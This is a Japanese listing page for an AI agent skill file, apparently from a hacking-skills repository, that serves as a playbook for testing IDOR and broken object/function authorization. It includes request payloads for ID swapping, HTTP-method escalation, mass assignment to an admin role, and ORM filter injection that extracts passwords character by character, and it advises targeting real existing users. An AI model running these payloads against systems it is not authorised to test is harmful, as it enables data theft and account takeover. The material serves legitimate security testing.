idor-broken-object-authorization
IDORおよびオブジェクト認可の不備をテストするプレイブック。リクエストがオブジェクト識別子やテナント境界を露出している場合、書き込み可能なフィールドが存在する場合、またはオブジェクトレベルの認可チェックが欠落している場合に使用します。
description の原文を見る
>- IDOR and broken object authorization testing playbook. Use when requests expose object identifiers, tenant boundaries, writable fields, or missing object-level authorization checks.
SKILL.md 本文
SKILL: IDOR / Broken Object Level Authorization — Expert Attack Playbook
AI LOAD INSTRUCTION: IDOR is the #1 bug bounty finding. This skill covers non-obvious IDOR surfaces, all attack vectors (not just URL params), A-B testing methodology, BOLA vs BFLA distinction, chaining IDOR to higher impact, and what testers repeatedly miss.
1. IDOR vs BOLA vs BFLA
| 用語 | 意味 | インパクト |
|---|---|---|
| IDOR | Insecure Direct Object Reference | 他のユーザーのデータを読取・修正 |
| BOLA | Broken Object Level Authorization (OWASP API Top 10 A1) | IDORと同じ、API用語 |
| BFLA | Broken Function Level Authorization | 低権限ユーザーが高権限機能にアクセス(管理者エンドポイントなど) |
重要な区別:
- BOLA = 所有していないオブジェクトへのアクセス(他のユーザーのデータ)
- BFLA = 権限のない機能へのアクセス(管理者CRUD操作、一括操作、ユーザー管理)
2. オブジェクトIDの探索場所(すべての場所)
URLパスパラメータだけでは不足。IDはこれらの場所に出現します:
URLパス: GET /api/v1/users/1234/profile
URLクエリ: GET /orders?order_id=982
リクエストボディ: {"userId": 1234, "action": "view"}
JSONフィールド: {"resource": {"id": 5678, "type": "invoice"}}
ヘッダー: X-User-ID: 1234
X-Account-ID: 9999
Cookie: user_id=1234; account=org_5678
GraphQL引数: query { user(id: "1234") { ... } }
フォームフィールド: <input name="documentId" value="5678">
WebSocketメッセージ: {"event":"subscribe","channel_id":9999}
3. A-Bテスト方法論
最も体系的なIDOR検査アプローチ:
ステップ1: 2つのテストアカウントを作成:UserAとUserB
ステップ2: UserAのすべてのアクションを実行、すべてのリクエストをキャプチャ
(プロフィール編集、注文表示、パスワード変更、ファイルアクセスなど)
ステップ3: UserAが作成またはアクセスしたすべてのオブジェクトIDをメモ
ステップ4: UserBとして認証
ステップ5: UserBのセッショントークンを使用してUserAのリクエストを再実行
ステップ6: UserBがUserAのデータを読取・修正できる場合 → BOLA確認
被害者の重要性: 実際のバグでは、テストアカウントではなく既存ユーザーを対象にします。
報告証拠: UserAがリソースを所有していることを示し、UserBがアクセスできることを証明します。
4. IDタイプと意味合い
| IDパターン | 例 | 注記 |
|---|---|---|
| 順序的な整数 | id=1001 → id=1002 | 容易に予測可能、高いヒット率 |
| UUID v4 | 550e8400-... | 他のエンドポイントからUUIDを見つける必要がある |
| UUID v1 | クロックベースUUID | 時間予測可能!タイムスタンプ/MACを抽出 |
| 独自データのGUID | 応答に表示 | まず自分のアカウントデータからすべてのUUIDを収集 |
| ハッシュ化されたID | md5(user_id) | 順序的な整数をハッシュ化してみる |
| エンコードされたID | base64({"id":1001}) | デコード → 修正 → 再エンコード |
| 複合ID | /api/users/1/orders/5 | 両方のIDが独立して検証可能な場合がある |
5. 水平特権昇格 vs 垂直特権昇格
水平: UserAがUserBのデータにアクセス(同じ権限レベル)
GET /api/account/1234/statement ← あなたはユーザー5678
垂直: 低権限ユーザーが管理者のみの機能にアクセス
POST /api/admin/users/delete ← 通常ユーザーが管理者エンドポイントを呼び出し
GET /api/admin/all-users
PUT /api/users/1234/role {"role":"admin"}
組み合わせ: 権限昇格を付与する低権限IDOR
GET /api/v1/users/1/details → 管理者ユーザーの認証トークンを読取
6. HTTPメソッド昇格
GET /resource/1234 が適切に制限されている場合、他のすべてのメソッドをテストします:
GET /api/v1/users/UserA_ID ← ブロックされる可能性
POST /api/v1/users/UserA_ID ← 異なるコードパス、承認チェックなし
PUT /api/v1/users/UserA_ID ← 他のユーザーのデータを更新
DELETE /api/v1/users/UserA_ID ← 他のユーザーのアカウントを削除
PATCH /api/v1/users/UserA_ID ← 部分更新(承認チェックで見落とされることが多い)
このアプローチが機能する理由: 承認ロジックはメソッドごとに実装されることが多く、開発者がエッジケースを忘れるから。
7. パラメータ汚染と型の混同
id=1234 が検証されている場合、これを試してください:
id[]=1234&id[]=5678 ← 配列 — アプリは最初または最後を使用する可能性
id=5678&id=1234 ← 重複 — アプリは最初または最後を優先する可能性
{"id": "1234"} ← 文字列vs整数: 異なるコードパスに当たる可能性
{"id": [1234]} ← JSONの配列
{"userId": 1234, "id": 5678} ← 2つのIDフィールド — どれが承認に使用される?
JSON型の混同:
{"userId": "1234"} vs {"userId": 1234}
一部のORMは、クエリで文字列と整数を異なる方法で処理します。
8. BFLA(機能レベル)攻撃
テストする一般的なBFLAエンドポイント
# ユーザー管理(設計上、管理者のみ):
GET /api/v1/admin/users
DELETE /api/v1/users/{any_user_id}
PUT /api/v1/users/{user_id}/role
# 一括操作:
POST /api/v1/users/bulk-delete
GET /api/v1/export/all-data
# 課金・決済管理:
POST /api/v1/admin/subscription/modify
GET /api/v1/admin/payments/all
# 内部レポート:
GET /api/v1/reports/all-users-activity
隠れた管理者エンドポイントを見つける方法
- JSバンドルを読む — 管理者ルートはフロントエンドコードで公開されることが多い
- APIドキュメント(Swagger/OpenAPI)で「admin」、「internal」、「privileged」タグを探す
/api/v1/admin/**、/api/v1/manage/**、/api/v1/internal/**を列挙- APIベースパスでBurp「Discover Content」を実行
- 利用可能な場合、通常ユーザードキュメントと管理者セクションドキュメントを比較
9. 間接IDOR(リファレンスチェーン)
アプリがオブジェクトAの権限をチェックしますが、参照されたオブジェクトBの所有権をチェックしません:
例:
UserAは自分のメッセージの読取権限を持っています。
GET /api/messages/1234 → チェック: 「ユーザーがメッセージ1234を所有しているか?」 ✓
しかし: メッセージには添付ファイルがあります。
GET /api/attachments/5678 → チェック: 「添付ファイルはユーザーが所有するメッセージに属するか?」
テスト: 親エンドポイント経由ではなく、直接IDで部分リソースにアクセスします。
GraphQL変種: 個別の承認なしで関連オブジェクトをインラインで照会:
query {
myProfile {
followers {
privateEmail ← 関係を通じた他のユーザーのプライベートフィールドにアクセス
}
}
}
10. 一括割り当て → 権限昇格
POST/PUTがJSONボディを取得する場合、基礎となるモデルのプロパティは、公式APIドキュメントに含まれていなくても設定可能な場合があります:
POST /api/v1/register
{
"username": "attacker",
"email": "a@evil.com",
"password": "password",
"role": "admin", ← 隠れたフィールド
"isAdmin": true, ← 隠れたフィールド
"verified": true, ← メール確認をスキップ
"creditBalance": 9999 ← 自分にクレジットを付与
}
隠れたフィールドを見つける方法:
- 管理者「ユーザー作成」と通常「登録」を傍受 — フィールドの違いを比較
- APIドキュメントですべての可能なフィールドを読む
- ソースコードを確認(GitHub、JSバンドル)
- Burpでファジング: 一般的なプロパティ名を追加、
200vs400をチェック
11. ステートマシン悪用(ビジネスロジックIDOR)
リソースがステータス・状態を持つ場合:
order.status: pending → confirmed → shipped → delivered
テスト: 状態をスキップできますか?
PUT /api/orders/1234 {"status": "delivered"} ← 「pending」から
PUT /api/orders/1234 {"status": "refunded"} ← 「pending」から(shipped をスキップ)
他のユーザーの注文ステータスを設定できますか?
PUT /api/orders/UserA_order_id {"status": "cancelled"} ← UserBとして
12. IDOR迅速チェックリスト
□ 2つのアカウントを作成(UserA + UserB)
□ オブジェクトIDを含むすべてのAPI呼び出しをマップ(Burp History エクスポートフィルタ)
□ 各エンドポイントのすべてのHTTPメソッドをテスト
□ すべての場所でIDをテスト: パス、ボディ、ヘッダー、クエリ、Cookie
□ 順序的なID(−1、+1 自分のものから)を試す
□ 自分のアカウントデータから収集したUUID/GUIDを試す
□ 部分リソースをテスト(添付ファイル、コメント、トランザクション)
□ 管理者エンドポイントを直接テスト(BFLA)
□ POST/PUTボディで追加フィールドをテスト(一括割り当て)
□ JSONレスポンスフィールド数とドキュメントフィールドを比較(隠れたフィールド)
□ ステータス・状態フィールドの修正をテスト
13. 体系的なIDOR検査 — 8つのカテゴリ
| # | カテゴリ | テスト方法 |
|---|---|---|
| 1 | 直接IDリファレンス | URLの数値/UUID IDを変更: /api/users/123 → /api/users/124 |
| 2 | 予測可能なUUID | UUIDがv1(時間ベース)の場合、隣接IDは計算可能 |
| 3 | バッチ・一括操作 | /api/users/bulk?ids=123,456 — 他のユーザーのIDを追加 |
| 4 | エクスポート・ダウンロード | エクスポートエンドポイントが他のユーザーのデータを漏らす: /export?user_id=* |
| 5 | リンクされたオブジェクトIDOR | order.address_id を別のユーザーのアドレスに変更 |
| 6 | リソース置換 | 自分のプロフィールを別のユーザーのリソースIDで更新 → 上書き |
| 7 | 書き込みIDOR | 別のユーザーのIDでPUT/PATCH/DELETE — データを修正・削除 |
| 8 | ネストされたオブジェクト | /api/orgs/1/users/2 — 組織IDを変更して別の組織のユーザーにアクセス |
テストフロー
1. 2つのテストアカウントを作成(AとB)
2. AのすべてのCRUD操作を実行、すべてのリクエストIDをキャプチャ
3. AのIDをBのIDに置き換えて、各リクエストを再実行
4. チェック: AはBのデータを読取できますか?修正できますか?削除できますか?
5. テスト対象: 数値ID、UUID、スラッグ、エンコードされた値
6. テスト範囲: URLパス、クエリパラム、JSONボディ、ヘッダー
14. ORM フィルタチェーンリーク
Django ORM フィルタ注入
# 脆弱: User.objects.filter(**request.data)
# 攻撃者が送信: {"password__startswith": "a"}
# Djangoが変換: WHERE password LIKE 'a%'
# 文字ごとの抽出:
POST /api/users/
{"username": "admin", "password__startswith": "a"} → 200 (マッチ)
{"username": "admin", "password__startswith": "b"} → 404 (マッチなし)
# 各位置について文字セットを反復
# リレーショナルトラバーサル:
{"author__user__password__startswith": "a"}
# トラバース: Author → User → password フィールド
# MySQL上: 正規表現を使用したReDoS
{"email__regex": "^(a+)+$"} → マッチが存在する場合CPU スパイク
Prisma フィルタ注入
// 脆弱: prisma.user.findMany({ where: req.body })
// 攻撃者が送信 ネストされたinclude/select:
{
"include": {
"posts": {
"include": {
"author": {
"select": {"password": true}
}
}
}
}
}
// 関係を通じて password フィールドを漏らす
Ransack(Ruby on Rails)
# Ransackは クエリパラムを通じた検索述語を許可:
GET /users?q[password_cont]=admin
# 検索: WHERE password LIKE '%admin%'
# 文字抽出:
GET /users?q[password_start]=a → 結果数をカウント
GET /users?q[password_start]=ab → 絞り込む
# ツール: plormber (自動化Ransack抽出)
ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ
詳細情報
- 作者
- yaklang
- リポジトリ
- yaklang/hack-skills
- ライセンス
- MIT
- 最終更新
- 不明
Source: https://github.com/yaklang/hack-skills / ライセンス: MIT
関連スキル
superfluid
Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper
civ-finish-quotes
実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。
nookplot
Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。
web3-polymarket
Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。
ethskills
Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。
xxyy-trade
このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。